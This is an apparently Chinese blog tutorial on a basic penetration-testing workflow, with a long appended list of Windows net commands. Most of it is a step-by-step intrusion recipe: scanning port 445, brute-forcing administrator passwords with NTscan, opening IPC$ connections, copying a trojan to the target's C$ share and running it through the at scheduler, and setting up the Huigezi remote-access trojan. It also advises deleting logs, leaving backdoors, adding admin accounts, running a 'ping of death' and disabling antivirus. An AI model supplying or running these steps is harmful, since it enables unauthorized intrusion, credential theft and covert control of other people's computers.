day09、1 - 简单渗透测试流程

本文介绍了渗透测试的基本流程,包括信息收集、漏洞扫描、漏洞利用和提权等步骤,并讲解了相关工具的使用,如Nmap、Hydra和NTscan。此外,还详细阐述了445端口的文件共享漏洞利用,以及如何通过命令行操作对方电脑和植入木马。

一、hacker的攻击基本流程(渗透测试流程)

  1. 和甲方签合同被授权(不授权就是非法)

  2. 信息收集:要攻击的对象都有哪些人,什么系统,有多少台是服务器,这些服务器都是什么服务器(即服务器上开了什么端口号)

    常用的一些命令:nslookup(收集域名的IP地址),whois(查询域名的IP以及所有者等信息,linux命令)

  3. 扫描漏洞:扫描----软件的,代码的,网站本身的,网络设备的漏洞,确定漏洞范围,哪些可以攻击

    • 网站漏洞:
      • 使用软件扫描IP范围,关心的端口,如果扫出来有开放80端口的就是网站服务器,可以再用渗透工具和命令获取这个网站服务器的网站是由什么软件发布的(IIS,apache),这些软件都是有漏洞
      • 高级扫描:再查看IIS是什么版本,不同版本有不同的漏洞(如win2003使用的IIS6.0版本;win2008使用的IIS7.0),此时就不是对网站本身的攻击,而是发布网站的软件进行攻击。如果请维护人员将漏洞补上了,再去扫描网站漏洞
      • 扫描网站本身漏洞:网站十大漏洞(SQL注入,xss,文件上传等),利用一些工具按照我们学过的知识对网站进行破解和攻击
    • 攻击网站是为了拿到发布此网站的服务器的最高权限—服务器管理员账号和密码,对网站本身并不关心。知道IP和账号密码就可以使用telnet远程控制此服务器了。那么服务器上的数据都可以挡下来,比如数据库中的信息
  4. 漏洞利用 :从最简单的漏洞入手,一个一个试

    • 有很多这里举一个例子:比如有些win7系统的3389端口(远程桌面)有漏洞,可以利用漏洞进行溢出攻击:把对方电脑上的3389那个软件的内存占满溢出,那么他的电脑就属于失控状态,此时立马可以拿到对方电脑的system权限,黑客电脑上就弹出来对方的cmd窗口,可以通过命令对对方的电脑操作。(根本不需要知道账号密码)
  5. 提权:拿到对方的shell窗口(命令行窗口)、拿到对方的最高权限、或者拿到对方的桌面环境

  6. 毁尸灭迹:操作会在日志中记录,要删除日志中的记录

  7. 留后门:下次再攻击就不需要这么多步骤了,直接攻击、控制即可(一般就是植入木马等)

  8. 做渗透测试报告

  9. 如果再给钱,就可以针对漏洞做安全加固

以上是简单的渗透测试步骤,不一定全面也不一定每个步骤都有,这里简单知道一下,后面会全面讲解

二、渗透工具

1.扫描工具

  • Nmap:linux操作系统下非常好用的网络扫描和嗅探软件;可以扫描公司中哪些IP在线、哪些电脑开着什么端口以及每个电脑使用什么操作系统,电脑的补丁达到的版本等
  • scanport:可以设置扫描IP的范围以及指定端口的小巧工具(windows使用)

2.暴力破解工具

  • hydra:是世界顶级密码暴力密码破解工具,支持几乎所有协议的在线密码破解(只要是要弹框让用户输入账号密码的都可以暴力破解,比如445文件共享,3389远程桌面,20/21FTP等)
  • NTscan:只能针对139(网络共享的端口)/445端口弹框进行暴力破解(windows使用)

3.密码字典生成工具

  • 一般与暴力破解工具一起使用
  • 在百度上查找即可,每一款软件都有自己的特色。

4.木马制作软件

  • 灰鸽子冰河大鲨鱼

三、渗透工具渗透原理

1.扫描端口号的原理

  • telnet命令:telnet 目标IP 测试端口号(手工测试端口号开放)

    这条命令会向目标IP的端口号发一个探测包,如果对方回应了则表示开启;如果没有回应则未开启

  • 注意:由于扫描和暴力破解工具的原理是用命令发送探测包和尝试连接共享,所以一定要在同一个局域网内,才能实现渗透

2.暴力破解的原理

这里专门讲解针对445端口暴力破解的原理,其他端口的爆破也有其他的原理

  • 选定扫描的IP范围,即可以对多台电脑进行暴力破解,但是一般此时都会确定下来要暴力破解指定的服务器或PC,所以起始IP和结束IP填一样的即可

  • 选择尝试连接的共享:可以选C$admin$IPC$等默认共享,因为一般人只要打开445端口,这几个是电脑默认的共享

  • 点击开始:通过不断的使用命令net use f: \\目标IP\选择连接的共享 密码字典中的密码 /user:用户名字典中的用户名 ,没有反应就一直发送连接命令,把密码字典和用户名字典中的用户名组合全部尝试一遍,如果账号密码正确,则会有回应,说明暴力破解成功!一般都是破解管理员用户,拿到最高权限

    一般服务器的用户名为administrator,只用尝试密码即可;PC的用户名采用社会工程学去得到用户名

3.密码生成器使用

  • 运用社会工程学,得到相关信息,生成密码字典(.txt文件),然后将文件内容复制到暴力破解软件中的DIC文件中,最后暴力破解软件会一直尝试密码字典中的字典

    image-20211024120814278

4.木马原理

  • 如果以后学了kali,可以通过命令为木马设置各种各样的功能和选项,现在只能通过软件的图形化界面设置即可

    image-20211024142332666

    自动上线设置,安装选项,启动项设置,代理服务等都可以通过命令来完成设置

四、渗透攻击举例–IPC$

1.文件共享445端口漏洞

  • 文件共享服务端口445有漏洞,所有的磁盘和IPC$都是默认共享的,如果能得到对方的管理员的账号和密码,就可以通过命令查看和修改对方电脑上的任意文件

2.操作共享文件的命令(net use)

  • 将对方共享文件映射到自己的某个盘符下

    net use 盘符: \\目标IP\共享文件名 密码 /user:用户名  
    #比如 net use f: \\10.1.1.2\c$ 123.com /user:administrator
    

    但此命令有个缺陷,如果关机或者注销后,这个映射就不可用了。但有个方法可以开机自动建立连接

  • 开机自动建立连接

    右键我的电脑–映射网络驱动器–设置映射到本地的盘符和需要映射的共享文件夹–勾选登录时重新连接即可

    image-20211024141053988
  • 删除共享映射

    net use f: /del  #删除指定盘符的映射
    net use * /del   #删除映射到本地的所有映射
    

3.IPC$渗透具体流程

  1. 将自己的电脑和要攻击对象处于同一网段(通过上述渗透原理可知)

  2. 使用扫描工具比如scanport设置扫描IP范围以及端口号445,确定下来哪些服务器或PC开启445端口,只要扫描到开启的就可以考虑进行445攻击了

    image-20211024125337039
  3. 通过社会工程学获取相关信息,利用密码字典生成器,生成密码字典(服务器的用户名一般都为adminsitrator);将字典txt文件中的密码复制到NT_pass.dic文件中,方便NTscan10爆破工具使用

    image-20211024155432119
  4. 再使用专门针对445端口暴力破解软件比如NTscan10,针对指定IP的主机及指定端口445/139,利用生成的密码字典进行暴力破解,得到对方的账号密码

    image-20211024125827297
  5. 再通过命令net use \\10.1.1.2\ipc$ 123.com /user:administrator(破解到的目标IP为10.1.1.2,用户名为administrator,密码为123.com)与对方的空连接ipc$建立连接

    IPC$:为默认开启的共享,由于没有关联任何路径(不像C$D:这些),所以称为空连接,但只要连接到对方的IPC$,就连接了对方的整个电脑,可以通过命令对对方电脑做任何操作

    image-20211024130055325
  6. 通过命令操作对方电脑(注意要使用网络路径\\和共享文件或者磁盘的共享名)

    image-20211024130451669

    image-20211024131213334

    以前dos命令涉及到路径的地方都改为网络路径即可(\\10.1.1.2\d$表示对方电脑下的d盘),不要出现d:(写共享名)

4.植入木马操作

  • 制作木马的软件:灰鸽子,大鲨鱼,冰河等

  • 木马特点:木马对目标系统没有任何伤害,且无征兆。木马有没有威胁取决于控制木马的人。

  • 使用灰鸽子软件制作简单的木马留后门:

    1. 打开灰鸽子软件界面(挂马、加壳操作后面学习,现在只要会简单用软件即可)

      image-20211024141953650
    2. 点击配置服务器程序

      一般来说,我们将木马植入对方,对方和木马为我提供服务器,可以理解为我是客户端,对方是服务端,所以制作木马又可以叫制作服务程序

    3. 服务器配置

      • 安装选项:即木马在对方电脑上存放的位置;图标可以通过ICO生成一个好看的图标

        image-20211024143016248
      • 启动项设置:可以将木马写入到注册表启动项(不容易清除干净);优先安装成服务器启动(将木马当成一种服务,开机木马和其他服务一同启动)

        image-20211024143130354
      • 自动上线设置:其他的功能可以先不设置,这个最重要。告诉木马主人是谁(木马主动联系的IP),设置保存路径(制作好的木马起名和保存在本地的路径)—点击生成服务器

        image-20211024143419093 image-20211024150227011
    4. 植入木马

      • 通过命令将本地的创建好的木马程序复制到对方电脑上一个不起眼的位置

        copy d:\muma.exe \\10.1.1.2\c$\system    #将本地d盘下的muma程序拷贝到对方电脑的C盘system文件夹下
        
    5. 启动木马

      • 方式一:通过打开对方的telnet端口23,通过telnet命令连接对方电脑的cmd窗口,再直接输入的路径\木马程序名.exe启动木马

      • 方式二:通过at命令做一个计划任务

        net time \\10.1.1.2   #查看对方电脑上的当前时间
        
        at \\10.1.1.2 时间 "c:\system\muma.exe"       #定时执行作业
        #时间格式:11:29
        
        at \\10.1.1.2    #显示指定电脑上的计划任务列表
        
      • 切忌:一定不要在自己的电脑cmd窗口上直接输入网络路径\木马程序名.exe,因为这是在你自己的电脑上运行对方电脑上的木马程序!!!

    6. 对对方电脑做查看或修改

      • 通过在灰鸽子软件上(对自动上线的主机)进行相关操作

      • 下载上传文件、注册表编辑,远程控制、telnet、捕获屏幕、接管鼠标键盘、摄像头监控等

        image-20211024161537740

五、相关命令总结

1.telnet

telent 目标IP 端口号     #手工测试端口号开放

2.net use

net use \\目标主机IP\ipc$ 密码 /user:用户名     #建立空连接

net use f: \\10.1.1.1\c$ 密码 /user:用户名     #建立连接映射到本地磁盘

以下为建立空连接后,才能执行的相关操作

2.copy

copy 本地路径\文件名.后缀名 \\目标IP\盘符$\路径    #将本地文件拷入到对方电脑的路径下
#举例:
copy d:\muma.exe \\10.1.1.2\c$\system

3.net time

net time      #查看本地时间
net time \\10.1.1.1   #查看指定主机的电脑时间(前提是要先与对方主机建立空连接)

4.at

at    #显示本地计划任务列表
at \\10.1.1.1    #显示指定主机的计划任务列表(前提是与对方主机建立空连接)
at \\10.1.1.1 19:30 "c:\system\muma.exe"   #在指定时间执行相关对方主机上的某程序(前提是建立空连接)

win10系统已经用该命令:替换为schtasks

ntscan是一个扫描器,可以扫描没有密码保护的管理员共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。 ntscan变态扫描器 NTscan变态扫描器为什么报毒? 一般杀毒软件会把NTscan报告成黑客程序,导致NTscan无法运行。 如果想正常运行NTscan,必须把杀毒软件关掉,同时把安装的防火墙也关掉。 NTscan变态扫描器命令详解 net use \\ip\ipc$ " " /user:" " 建立IPC空链接 net use \\ip\ipc$ "密码" /user:"用户名" 建立IPC非空链接 net use h: \\ip\c$ "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H: net use h: \\ip\c$ 登陆后映射对方C:到本地为H: net use \\ip\ipc$ /del 删除IPC链接 net use h: /del 删除映射对方到本地的为H:的映射 net user 用户名 密码 /add 建立用户 net user guest /active:yes 激活guest用户 net user 查看有哪些用户 net user 帐户名 查看帐户的属性 net localgroup administrators 用户名 /add 把"用户"添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 net start 查看开启了哪些服务 net start 服务名 开启服务;(如:net start telnet, net start schedule) net stop 服务名 停止某服务 net time \\目标ip 查看对方时间 net time \\目标ip /set 设置本地计算机时间与"目标IP"主机的时间同步,加上参数/yes可取消确认信息 net view 查看本地局域网内开启了哪些共享 net view \\ip 查看对方局域网内开启了哪些共享 net config 显示系统网络设置 net logoff 断开连接的共享 net pause 服务名 暂停某服务 net send ip "文本信息" 向对方发信息 net ver 局域网内正在使用的网络连接类型和信息 net share 查看本地开启的共享 net share ipc$ 开启ipc$共享 net share ipc$ /del 删除ipc$共享 net share c$ /del 删除C:共享 net user guest 12345 用guest用户登陆后用将密码改为12345 net password 密码 更改系统登陆密码 netstat -a 查看开启了哪些端口,常用netstat -an netstat -n 查看端口的网络连接情况,常用netstat -an netstat -v 查看正在进行的工作 netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况) netstat -s 查看正在使用的所有协议使用情况 nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:"-w数字"用于设置超时间隔。 ping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:"-l[空格]数据包大小";"-n发送数据次数";"-t"指一直ping。 ping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数"/all"显示全部配置信息 tlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内) del -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如"DEL/AR *.*"表示删除当前目录下所有只读文件,"DEL/A-S *.*"表示删除当前目录下除系统文件以外的所有文件 NTscan为什么扫不出弱口令? 如果是内网的用户,只能扫内网的ip,其次你的机子要突破线程限制,改到一千左右,NTSCAN,X-SCAN和流光扫描器这些现在只能扫本地ip了。所以假如你是用135端口抓鸡的话,现在只能抓本地的,本地ip可以打开“运行”输入ipconfig 可以看到,想扫外网的话,用路由器映射端口。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值